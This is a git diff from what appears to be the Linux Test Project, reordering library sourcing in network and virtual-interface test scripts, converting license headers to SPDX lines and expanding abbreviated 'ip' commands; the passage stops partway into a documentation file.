diff --git a/testcases/network/tcp_cmds/telnet/Makefile b/testcases/network/tcp_cmds/telnet/Makefile
index fefdf6b..90e879d 100644
--- a/testcases/network/tcp_cmds/telnet/Makefile
+++ b/testcases/network/tcp_cmds/telnet/Makefile
@@ -26,6 +26,4 @@
 
 INSTALL_TARGETS		:= telnet01.sh
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/tcp_cmds/telnet/telnet01.sh b/testcases/network/tcp_cmds/telnet/telnet01.sh
index a6e6024..93343b9 100755
--- a/testcases/network/tcp_cmds/telnet/telnet01.sh
+++ b/testcases/network/tcp_cmds/telnet/telnet01.sh
@@ -21,7 +21,6 @@
 TST_TOTAL=1
 
 TST_USE_LEGACY_API=1
-. tst_net.sh
 
 setup()
 {
@@ -83,6 +82,8 @@
 	tst_rhost_run -u $RUSER -c "rm -f $RUSER.$RHOST"
 }
 
+. tst_net.sh
+
 setup
 
 do_test
diff --git a/testcases/network/tcp_cmds/tracepath/Makefile b/testcases/network/tcp_cmds/tracepath/Makefile
index 820aa5d..d6a758d 100644
--- a/testcases/network/tcp_cmds/tracepath/Makefile
+++ b/testcases/network/tcp_cmds/tracepath/Makefile
@@ -1,17 +1,5 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/network/tcp_cmds/tracepath/tracepath01.sh b/testcases/network/tcp_cmds/tracepath/tracepath01.sh
index 2b75c10..2790751 100755
--- a/testcases/network/tcp_cmds/tracepath/tracepath01.sh
+++ b/testcases/network/tcp_cmds/tracepath/tracepath01.sh
@@ -6,7 +6,6 @@
 
 TST_TESTFUNC="do_test"
 TST_SETUP="setup"
-. tst_net.sh
 
 setup()
 {
@@ -53,4 +52,5 @@
 	tst_res TPASS "traced path to '$rhost' in $hops_num hops"
 }
 
+. tst_net.sh
 tst_run
diff --git a/testcases/network/tcp_fastopen/Makefile b/testcases/network/tcp_fastopen/Makefile
index 68c8c44..ce20e4e 100644
--- a/testcases/network/tcp_fastopen/Makefile
+++ b/testcases/network/tcp_fastopen/Makefile
@@ -1,18 +1,5 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2014-2016 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write the Free Software Foundation,
-# Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/network/tcp_fastopen/tcp_fastopen_run.sh b/testcases/network/tcp_fastopen/tcp_fastopen_run.sh
index 0e59ed5..88438c3 100755
--- a/testcases/network/tcp_fastopen/tcp_fastopen_run.sh
+++ b/testcases/network/tcp_fastopen/tcp_fastopen_run.sh
@@ -30,7 +30,6 @@
 	esac
 }
 
-. tst_net.sh
 
 cleanup()
 {
@@ -71,4 +70,5 @@
 	tst_netload_compare $time_tfo_off $time_tfo_on 3
 }
 
+. tst_net.sh
 tst_run
diff --git a/testcases/network/traceroute/Makefile b/testcases/network/traceroute/Makefile
index 54ed24c..d74c5c8 100644
--- a/testcases/network/traceroute/Makefile
+++ b/testcases/network/traceroute/Makefile
@@ -1,24 +1,6 @@
-#
-#    network/traceroute testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/network/traceroute/traceroute01.sh b/testcases/network/traceroute/traceroute01.sh
index 0140aef..06813bd 100755
--- a/testcases/network/traceroute/traceroute01.sh
+++ b/testcases/network/traceroute/traceroute01.sh
@@ -9,7 +9,6 @@
 TST_SETUP="setup"
 TST_TESTFUNC="test"
 TST_NEEDS_TMPDIR=1
-. tst_net.sh
 
 setup()
 {
@@ -67,4 +66,5 @@
 	run_trace -T
 }
 
+. tst_net.sh
 tst_run
diff --git a/testcases/network/virt/Makefile b/testcases/network/virt/Makefile
index 619d769..b5c35a9 100644
--- a/testcases/network/virt/Makefile
+++ b/testcases/network/virt/Makefile
@@ -1,18 +1,5 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2014-2015 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write the Free Software Foundation,
-# Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/network/virt/fou01.sh b/testcases/network/virt/fou01.sh
index 903cb38..51f76f9 100755
--- a/testcases/network/virt/fou01.sh
+++ b/testcases/network/virt/fou01.sh
@@ -10,7 +10,6 @@
 TST_PARSE_ARGS="parse_args"
 
 virt_type="fou"
-. virt_lib.sh
 
 GRE_IP_PROTO=47
 
@@ -58,4 +57,5 @@
 		   "local $rmt_ip remote $loc_ip $encap_cmd $FOU_PORT"
 }
 
+. virt_lib.sh
 tst_run
diff --git a/testcases/network/virt/geneve01.sh b/testcases/network/virt/geneve01.sh
index b731343..9ddc6fe 100755
--- a/testcases/network/virt/geneve01.sh
+++ b/testcases/network/virt/geneve01.sh
@@ -8,6 +8,9 @@
 TST_OPTS="hi:d:"
 TST_PARSE_ARGS=virt_lib_parse_args
 TST_NEEDS_DRIVERS="geneve"
+TST_TESTFUNC=do_test
+TST_CLEANUP=virt_cleanup
+VIRT_PERF_THRESHOLD_MIN=160
 
 virt_type="geneve"
 start_id=16700000
@@ -16,11 +19,6 @@
 # that is why using here 'vxlan_*' library functions.
 vxlan_dst_addr="uni"
 
-TST_TESTFUNC=do_test
-TST_CLEANUP=virt_cleanup
-VIRT_PERF_THRESHOLD_MIN=160
-. virt_lib.sh
-
 do_test()
 {
 	tst_res TINFO "the same VNI must work"
@@ -35,4 +33,5 @@
 	virt_compare_netperf "fail"
 }
 
+. virt_lib.sh
 tst_run
diff --git a/testcases/network/virt/geneve02.sh b/testcases/network/virt/geneve02.sh
index 169bc4e..79086c7 100755
--- a/testcases/network/virt/geneve02.sh
+++ b/testcases/network/virt/geneve02.sh
@@ -6,6 +6,12 @@
 TST_OPTS="hi:d:"
 TST_PARSE_ARGS=virt_lib_parse_args
 TST_NEEDS_DRIVERS="geneve"
+TST_TESTFUNC=do_test
+TST_CLEANUP=virt_cleanup
+TST_TEST_DATA="noudpcsum udp6zerocsumtx udp6zerocsumrx, udpcsum"
+TST_TEST_DATA_IFS=","
+VIRT_PERF_THRESHOLD_MIN=160
+
 virt_type="geneve"
 start_id=16700000
 
@@ -13,13 +19,6 @@
 # that is why using here 'vxlan_*' library functions.
 vxlan_dst_addr="uni"
 
-TST_TESTFUNC=do_test
-TST_CLEANUP=virt_cleanup
-TST_TEST_DATA="noudpcsum udp6zerocsumtx udp6zerocsumrx, udpcsum"
-TST_TEST_DATA_IFS=","
-VIRT_PERF_THRESHOLD_MIN=160
-. virt_lib.sh
-
 do_test()
 {
 	virt_check_cmd virt_add ltp_v0 id 1 $2 remote \
@@ -32,4 +31,5 @@
 	return 0
 }
 
+. virt_lib.sh
 tst_run
diff --git a/testcases/network/virt/gre01.sh b/testcases/network/virt/gre01.sh
index db5be6d..58f34d2 100755
--- a/testcases/network/virt/gre01.sh
+++ b/testcases/network/virt/gre01.sh
@@ -12,6 +12,6 @@
 TST_TESTFUNC=virt_netperf_msg_sizes
 TST_SETUP=virt_gre_setup
 TST_CLEANUP=virt_cleanup
-. virt_lib.sh
 
+. virt_lib.sh
 tst_run
diff --git a/testcases/network/virt/gre02.sh b/testcases/network/virt/gre02.sh
index d556606..84adbbf 100755
--- a/testcases/network/virt/gre02.sh
+++ b/testcases/network/virt/gre02.sh
@@ -6,6 +6,6 @@
 TST_TESTFUNC=virt_netperf_rand_sizes
 TST_SETUP=virt_gre_setup
 TST_CLEANUP=virt_cleanup
-. virt_lib.sh
 
+. virt_lib.sh
 tst_run
diff --git a/testcases/network/virt/ipvlan01.sh b/testcases/network/virt/ipvlan01.sh
index e8b1063..992d62a 100755
--- a/testcases/network/virt/ipvlan01.sh
+++ b/testcases/network/virt/ipvlan01.sh
@@ -11,6 +11,6 @@
 TST_TEST_DATA="mode l2,mode l3,mode l3s"
 TST_TEST_DATA_IFS=","
 TST_TESTFUNC=virt_test_02
-. virt_lib.sh
 
+. virt_lib.sh
 tst_run
diff --git a/testcases/network/virt/macsec01.sh b/testcases/network/virt/macsec01.sh
index d9d6e73..cc4b18d 100755
--- a/testcases/network/virt/macsec01.sh
+++ b/testcases/network/virt/macsec01.sh
@@ -11,5 +11,4 @@
 IPSEC_PROTO="ah"
 
 . macsec_lib.sh
-
 tst_run
diff --git a/testcases/network/virt/macsec02.sh b/testcases/network/virt/macsec02.sh
index 0c40b25..b374ce2 100755
--- a/testcases/network/virt/macsec02.sh
+++ b/testcases/network/virt/macsec02.sh
@@ -13,5 +13,4 @@
 MACSEC_LIB_SETUP="replay on window 300 encrypt on protect on"
 
 . macsec_lib.sh
-
 tst_run
diff --git a/testcases/network/virt/macsec03.sh b/testcases/network/virt/macsec03.sh
index b7bd8fe..a532fee 100755
--- a/testcases/network/virt/macsec03.sh
+++ b/testcases/network/virt/macsec03.sh
@@ -6,8 +6,7 @@
 EALGO="aes"
 MACSEC_LIB_SETUP="replay on window 1000 encrypt on protect on"
 
-. macsec_lib.sh
-
 TST_TESTFUNC=virt_netperf_rand_sizes
 
+. macsec_lib.sh
 tst_run
diff --git a/testcases/network/virt/macsec_lib.sh b/testcases/network/virt/macsec_lib.sh
index c2573c5..f1e7d4e 100755
--- a/testcases/network/virt/macsec_lib.sh
+++ b/testcases/network/virt/macsec_lib.sh
@@ -1,6 +1,6 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2018-2022 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved.
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 
@@ -10,11 +10,9 @@
 
 TST_NEEDS_TMPDIR=1
 TST_TESTFUNC=virt_netperf_msg_sizes
-TST_SETUP=macsec_lib_setup
-TST_CLEANUP=macsec_lib_cleanup
+TST_SETUP="${TST_SETUP:-macsec_lib_setup}"
+TST_CLEANUP="${TST_CLEANUP:-macsec_lib_cleanup}"
 TST_NEEDS_DRIVERS="macsec"
-. ipsec_lib.sh
-. virt_lib.sh
 
 # MACSEC_LIB_SETUP:
 # [ cipher { default | gcm-aes-128 } ] [ encrypt { on | off } ]
@@ -54,3 +52,6 @@
 	virt_cleanup
 	tst_ipsec_cleanup
 }
+
+. ipsec_lib.sh
+. virt_lib.sh
diff --git a/testcases/network/virt/macvlan01.sh b/testcases/network/virt/macvlan01.sh
index 3c4fda5..960b96b 100755
--- a/testcases/network/virt/macvlan01.sh
+++ b/testcases/network/virt/macvlan01.sh
@@ -11,6 +11,6 @@
 TST_TEST_DATA="mode private,mode vepa,mode bridge,mode passthru"
 TST_TEST_DATA_IFS=","
 TST_TESTFUNC=virt_test_02
-. virt_lib.sh
 
+. virt_lib.sh
 tst_run
diff --git a/testcases/network/virt/macvtap01.sh b/testcases/network/virt/macvtap01.sh
index 93a3d34..cce5a44 100755
--- a/testcases/network/virt/macvtap01.sh
+++ b/testcases/network/virt/macvtap01.sh
@@ -11,6 +11,6 @@
 TST_TEST_DATA="mode private,mode vepa,mode bridge,mode passthru"
 TST_TEST_DATA_IFS=","
 TST_TESTFUNC=virt_test_02
-. virt_lib.sh
 
+. virt_lib.sh
 tst_run
diff --git a/testcases/network/virt/sit01.sh b/testcases/network/virt/sit01.sh
index 27fa0ee..0b9a3af 100755
--- a/testcases/network/virt/sit01.sh
+++ b/testcases/network/virt/sit01.sh
@@ -7,7 +7,6 @@
 TST_SETUP=do_setup
 TST_CLEANUP=virt_cleanup
 virt_type="sit"
-. virt_lib.sh
 
 do_setup()
 {
@@ -20,4 +19,5 @@
 		   "local $(tst_ipaddr rhost) remote $(tst_ipaddr)"
 }
 
+. virt_lib.sh
 tst_run
diff --git a/testcases/network/virt/virt_lib.sh b/testcases/network/virt/virt_lib.sh
index f511d3f..98a9bb6 100644
--- a/testcases/network/virt/virt_lib.sh
+++ b/testcases/network/virt/virt_lib.sh
@@ -1,6 +1,6 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2018-2019 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2018-2022 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2014-2021 Oracle and/or its affiliates. All Rights Reserved.
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 #
@@ -18,6 +18,13 @@
 
 TST_SETUP="${TST_SETUP:-virt_lib_setup}"
 TST_CLEANUP="${TST_CLEANUP:-cleanup_vifaces}"
+TST_NEEDS_ROOT=1
+
+# Max performance loss (%) for virtual devices during network load
+VIRT_PERF_THRESHOLD=${VIRT_PERF_THRESHOLD:-80}
+if [ -n "$VIRT_PERF_THRESHOLD_MIN" ] && [ "$VIRT_PERF_THRESHOLD" -lt $VIRT_PERF_THRESHOLD_MIN ]; then
+	 VIRT_PERF_THRESHOLD="$VIRT_PERF_THRESHOLD_MIN"
+fi
 
 virt_lib_usage()
 {
@@ -46,7 +53,7 @@
 		fi
 
 		# newer versions of 'ip' complain if this option not set
-		ip li add type vxlan help 2>&1 | grep -q dstport && vxlan_dstport=1
+		ip link add type vxlan help 2>&1 | grep -q dstport && vxlan_dstport=1
 	;;
 	esac
 
@@ -58,27 +65,10 @@
 	ROD_SILENT "ip link delete ltp_v0"
 }
 
-TST_NEEDS_ROOT=1
-. tst_net.sh
-
-ip_virt_local="$(TST_IPV6= tst_ipaddr_un)"
-ip6_virt_local="$(TST_IPV6=6 tst_ipaddr_un)"
-
-ip_virt_remote="$(TST_IPV6= tst_ipaddr_un rhost)"
-ip6_virt_remote="$(TST_IPV6=6 tst_ipaddr_un rhost)"
-
-vxlan_dstport=0
-
-# Max performance loss (%) for virtual devices during network load
-VIRT_PERF_THRESHOLD=${VIRT_PERF_THRESHOLD:-80}
-if [ -n "$VIRT_PERF_THRESHOLD_MIN" ] && [ "$VIRT_PERF_THRESHOLD" -lt $VIRT_PERF_THRESHOLD_MIN ]; then
-	 VIRT_PERF_THRESHOLD="$VIRT_PERF_THRESHOLD_MIN"
-fi
-
 cleanup_vifaces()
 {
 	tst_res TINFO "cleanup virtual interfaces..."
-	local viface=`ip li | sed -nE 's/^[0-9]+: (ltp_v[0-9]+)[@:].+/\1/p'`
+	local viface=`ip link | sed -nE 's/^[0-9]+: (ltp_v[0-9]+)[@:].+/\1/p'`
 	for vx in $viface; do
 		ip link delete $vx
 	done
@@ -138,7 +128,7 @@
 
 	case $virt_type in
 	vxlan|geneve|sit|wireguard)
-		ip li add $vname type $virt_type $opt
+		ip link add $vname type $virt_type $opt
 	;;
 	gre|ip6gre)
 		ip -f inet$TST_IPV6 tu add $vname mode $virt_type $opt
@@ -147,7 +137,7 @@
 		ip link add name $vname type $(_get_gue_fou_tnl $virt_type) $opt
 	;;
 	*)
-		ip li add link $(tst_iface) $vname type $virt_type $opt
+		ip link add link $(tst_iface) $vname type $virt_type $opt
 	;;
 	esac
 }
@@ -159,7 +149,7 @@
 	vxlan|geneve)
 		[ "$virt_type" = "vxlan" ] && opt="dev $(tst_iface rhost)"
 		[ "$vxlan_dstport" -eq 1 ] && opt="$opt dstport 0"
-		tst_rhost_run -s -c "ip li add ltp_v0 type $virt_type $@ $opt"
+		tst_rhost_run -s -c "ip link add ltp_v0 type $virt_type $@ $opt"
 	;;
 	sit|wireguard)
 		tst_rhost_run -s -c "ip link add ltp_v0 type $virt_type $@"
@@ -173,7 +163,7 @@
 				     type $(_get_gue_fou_tnl $virt_type) $@"
 	;;
 	*)
-		tst_rhost_run -s -c "ip li add link $(tst_iface rhost) ltp_v0 \
+		tst_rhost_run -s -c "ip link add link $(tst_iface rhost) ltp_v0 \
 				     type $virt_type $@"
 	;;
 	esac
@@ -231,7 +221,7 @@
 	virt_add_rhost "$opt_r"
 
 	ROD_SILENT "ip addr add ${ip6_virt_local}/64 dev ltp_v0 nodad"
-	tst_rhost_run -s -c "ip ad add ${ip6_virt_remote}/64 dev ltp_v0 nodad"
+	tst_rhost_run -s -c "ip addr add ${ip6_virt_remote}/64 dev ltp_v0 nodad"
 
 	ROD_SILENT "ip addr add ${ip_virt_local}/24 dev ltp_v0"
 	tst_rhost_run -s -c "ip addr add ${ip_virt_remote}/24 dev ltp_v0"
@@ -239,8 +229,8 @@
 	ROD_SILENT "sysctl -q net.ipv6.conf.ltp_v0.accept_dad=0"
 	tst_rhost_run -s -c "sysctl -q net.ipv6.conf.ltp_v0.accept_dad=0"
 
-	ROD_SILENT "ip li set up ltp_v0"
-	tst_rhost_run -s -c "ip li set up ltp_v0"
+	ROD_SILENT "ip link set up ltp_v0"
+	tst_rhost_run -s -c "ip link set up ltp_v0"
 }
 
 virt_tcp_syn=
@@ -250,9 +240,9 @@
 	local mac_rmt="$(tst_rhost_run -c 'cat /sys/class/net/ltp_v0/address')"
 
 	if [ "$mac_loc" ]; then
-		ROD_SILENT "ip ne replace $ip_virt_remote lladdr \
+		ROD_SILENT "ip neigh replace $ip_virt_remote lladdr \
 			    $mac_rmt nud permanent dev ltp_v0"
-		tst_rhost_run -s -c "ip ne replace $ip_virt_local lladdr \
+		tst_rhost_run -s -c "ip neigh replace $ip_virt_local lladdr \
 				     $mac_loc nud permanent dev ltp_v0"
 	fi
 
@@ -266,7 +256,7 @@
 		tst_brk TCONF "test must be run with kernel 3.10 or newer"
 	fi
 
-	[ "$(ip li add type $virt_type help 2>&1 | grep remote)" ] || \
+	[ "$(ip link add type $virt_type help 2>&1 | grep remote)" ] || \
 		tst_brk TCONF "iproute doesn't support remote unicast address"
 
 	local opt="$1 remote $(tst_ipaddr rhost)"
@@ -329,7 +319,7 @@
 		tst_res TCONF "'$@' option(s) not supported, skipping it"
 		return 1
 	fi
-	ROD_SILENT "ip li delete ltp_v0"
+	ROD_SILENT "ip link delete ltp_v0"
 	return 0
 }
 
@@ -384,3 +374,13 @@
 	virt_setup "local $(tst_ipaddr) remote $(tst_ipaddr rhost) dev $(tst_iface)" \
 	"local $(tst_ipaddr rhost) remote $(tst_ipaddr) dev $(tst_iface rhost)"
 }
+
+. tst_net.sh
+
+ip_virt_local="$(TST_IPV6= tst_ipaddr_un)"
+ip6_virt_local="$(TST_IPV6=6 tst_ipaddr_un)"
+
+ip_virt_remote="$(TST_IPV6= tst_ipaddr_un rhost)"
+ip6_virt_remote="$(TST_IPV6=6 tst_ipaddr_un rhost)"
+
+vxlan_dstport=0
diff --git a/testcases/network/virt/vlan01.sh b/testcases/network/virt/vlan01.sh
index 69d2564..045b12a 100755
--- a/testcases/network/virt/vlan01.sh
+++ b/testcases/network/virt/vlan01.sh
@@ -19,6 +19,6 @@
 $p1 $lb0 $rh0,$p1 $lb0 $rh1,$p1 $lb1 $rh0,$p1 $lb1 $rh1"
 TST_TEST_DATA_IFS=","
 TST_TESTFUNC=virt_test_01
-. virt_lib.sh
 
+. virt_lib.sh
 tst_run
diff --git a/testcases/network/virt/vlan02.sh b/testcases/network/virt/vlan02.sh
index 04a8a5c..f9a2566 100755
--- a/testcases/network/virt/vlan02.sh
+++ b/testcases/network/virt/vlan02.sh
@@ -10,11 +10,11 @@
 virt_type="vlan"
 
 TST_TESTFUNC=do_test
-. virt_lib.sh
 
 do_test()
 {
 	virt_add_delete_test "id 4094"
 }
 
+. virt_lib.sh
 tst_run
diff --git a/testcases/network/virt/vlan03.sh b/testcases/network/virt/vlan03.sh
index b7125ae..3230a9f 100755
--- a/testcases/network/virt/vlan03.sh
+++ b/testcases/network/virt/vlan03.sh
@@ -26,7 +26,6 @@
 TST_TESTFUNC=do_test
 TST_SETUP=virt_lib_setup
 TST_CLEANUP=virt_cleanup
-. virt_lib.sh
 
 do_test()
 {
@@ -44,4 +43,5 @@
 	virt_cleanup_rmt
 }
 
+. virt_lib.sh
 tst_run
diff --git a/testcases/network/virt/vxlan01.sh b/testcases/network/virt/vxlan01.sh
index 5316915..332b77b 100755
--- a/testcases/network/virt/vxlan01.sh
+++ b/testcases/network/virt/vxlan01.sh
@@ -9,14 +9,13 @@
 TST_OPTS="hi:d:"
 TST_PARSE_ARGS=virt_lib_parse_args
 TST_USAGE=virt_lib_usage
-
-virt_type="vxlan"
-start_id=16700000
-
 TST_TEST_DATA="l2miss l3miss,norsc nolearning noproxy,\
 ttl 0x01 tos 0x01,ttl 0xff tos 0xff,gbp"
 TST_TEST_DATA_IFS=","
 TST_TESTFUNC=virt_test_01
-. virt_lib.sh
 
+virt_type="vxlan"
+start_id=16700000
+
+. virt_lib.sh
 tst_run
diff --git a/testcases/network/virt/vxlan02.sh b/testcases/network/virt/vxlan02.sh
index 04036a0..4223f4e 100755
--- a/testcases/network/virt/vxlan02.sh
+++ b/testcases/network/virt/vxlan02.sh
@@ -10,13 +10,11 @@
 TST_OPTS="hi:d:"
 TST_PARSE_ARGS=virt_lib_parse_args
 TST_USAGE=virt_lib_usage
+TST_TESTFUNC=do_test
 
 virt_type="vxlan"
 start_id=16700000
 
-TST_TESTFUNC=do_test
-. virt_lib.sh
-
 do_test()
 {
 	local mult_addr="239.1.1.1"
@@ -25,4 +23,5 @@
 	virt_add_delete_test "id $start_id group $mult_addr"
 }
 
+. virt_lib.sh
 tst_run
diff --git a/testcases/network/virt/vxlan03.sh b/testcases/network/virt/vxlan03.sh
index 7e54532..ccb97d7 100755
--- a/testcases/network/virt/vxlan03.sh
+++ b/testcases/network/virt/vxlan03.sh
@@ -32,7 +32,6 @@
 # switch, VxLAN can be much slower when comparing to the performance without
 # any encapsulation.
 VIRT_PERF_THRESHOLD_MIN=160
-. virt_lib.sh
 
 do_test()
 {
@@ -51,4 +50,5 @@
 	virt_cleanup_rmt
 }
 
+. virt_lib.sh
 tst_run
diff --git a/testcases/network/virt/vxlan04.sh b/testcases/network/virt/vxlan04.sh
index 2418e5e..3beb8c4 100755
--- a/testcases/network/virt/vxlan04.sh
+++ b/testcases/network/virt/vxlan04.sh
@@ -16,7 +16,6 @@
 start_id=16700000
 vxlan_dst_addr="uni"
 VIRT_PERF_THRESHOLD_MIN=160
-. virt_lib.sh
 
 do_test()
 {
@@ -29,4 +28,5 @@
 	virt_cleanup_rmt
 }
 
+. virt_lib.sh
 tst_run
diff --git a/testcases/network/virt/wireguard01.sh b/testcases/network/virt/wireguard01.sh
index ff0c7e9..3cf6741 100755
--- a/testcases/network/virt/wireguard01.sh
+++ b/testcases/network/virt/wireguard01.sh
@@ -8,11 +8,9 @@
 TST_TESTFUNC=test
 TST_CNT=3
 
-. wireguard_lib.sh
-
 setup()
 {
-	if [ -n "$LTP_NETNS" -a "$VIRT_PERF_THRESHOLD" -lt 700 ]; then
+	if tst_net_use_netns && [ "$VIRT_PERF_THRESHOLD" -lt 700 ]; then
 		tst_res TINFO "Adjust threshold for veth (no encap/encrypt)"
 		VIRT_PERF_THRESHOLD=700
 	fi
@@ -53,4 +51,5 @@
 	virt_compare_netperf "fail"
 }
 
+. wireguard_lib.sh
 tst_run
diff --git a/testcases/network/virt/wireguard02.sh b/testcases/network/virt/wireguard02.sh
index c16ae68..a7d8f20 100755
--- a/testcases/network/virt/wireguard02.sh
+++ b/testcases/network/virt/wireguard02.sh
@@ -1,14 +1,12 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2022 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2020 Oracle and/or its affiliates. All Rights Reserved.
 
 TST_CLEANUP=cleanup
 TST_TESTFUNC=test1
 TST_SETUP=wireguard_lib_setup
 
-. ipsec_lib.sh
-. wireguard_lib.sh
-
 IPSEC_MODE="tunnel"
 IPSEC_PROTO="esp_aead"
 AEALGO="rfc4106_256"
@@ -45,4 +43,6 @@
 	tst_netload_compare $time_ipsec $time_wg -100
 }
 
+. ipsec_lib.sh
+. wireguard_lib.sh
 tst_run
diff --git a/testcases/network/virt/wireguard_lib.sh b/testcases/network/virt/wireguard_lib.sh
index 2e36bce..c59ecbb 100755
--- a/testcases/network/virt/wireguard_lib.sh
+++ b/testcases/network/virt/wireguard_lib.sh
@@ -1,5 +1,6 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) Linux Test Project, 2022
 # Copyright (c) 2020 Oracle and/or its affiliates. All Rights Reserved.
 
 TST_NEEDS_TMPDIR=1
@@ -11,7 +12,6 @@
 VIRT_PERF_THRESHOLD_MIN=${VIRT_PERF_THRESHOLD_MIN:-200}
 
 virt_type="wireguard"
-. virt_lib.sh
 
 # Usage: wireguard_lib_setup [TYPE]
 # TYPE: [ default | invalid_allowed_ips | invalid_pub_keys ]
@@ -64,3 +64,5 @@
 {
 	virt_cleanup
 }
+
+. virt_lib.sh
diff --git a/testcases/network/xinetd/Makefile b/testcases/network/xinetd/Makefile
index cdaadb1..b789b2a 100644
--- a/testcases/network/xinetd/Makefile
+++ b/testcases/network/xinetd/Makefile
@@ -1,24 +1,6 @@
-#
-#    network/xinetd testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../..
 
@@ -26,6 +8,4 @@
 
 INSTALL_TARGETS		:= xinetd_tests.sh
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/xinetd/xinetd_tests.sh b/testcases/network/xinetd/xinetd_tests.sh
index f7f5db7..505dae5 100755
--- a/testcases/network/xinetd/xinetd_tests.sh
+++ b/testcases/network/xinetd/xinetd_tests.sh
@@ -12,7 +12,6 @@
 TST_CNT=2
 
 . daemonlib.sh
-. tst_net.sh
 
 setup()
 {
@@ -109,4 +108,5 @@
 	esac
 }
 
+. tst_net.sh
 tst_run
diff --git a/testcases/open_posix_testsuite/.gitignore b/testcases/open_posix_testsuite/.gitignore
index a134c02..c9164df 100644
--- a/testcases/open_posix_testsuite/.gitignore
+++ b/testcases/open_posix_testsuite/.gitignore
@@ -15,3 +15,8 @@
 run.sh
 
 logfile
+
+/configure
+/config.log
+/config.status
+include/mk/config.mk
diff --git a/testcases/open_posix_testsuite/CFLAGS b/testcases/open_posix_testsuite/CFLAGS
deleted file mode 100644
index 297d292..0000000
--- a/testcases/open_posix_testsuite/CFLAGS
+++ /dev/null
@@ -1 +0,0 @@
--std=c99 -D_POSIX_C_SOURCE=200809L -D_XOPEN_SOURCE=700 -W -Wall
diff --git a/testcases/open_posix_testsuite/Documentation/HOWTO_Release b/testcases/open_posix_testsuite/Documentation/HOWTO_Release
index a6970c8..3332cae 100644
--- a/testcases/open_posix_testsuite/Documentation/HOWTO_Release
+++ b/testcases/open_posix_testsuite/Documentation/HOWTO_Release
@@ -20,8 +20,8 @@
 4.  Download the *.tar.gz file from the SF interface and untar it in
     a sandbox.
 
-5.  Run "make" to try to build and execute all files in the release, and
-    ensure that they all build and execute correctly.
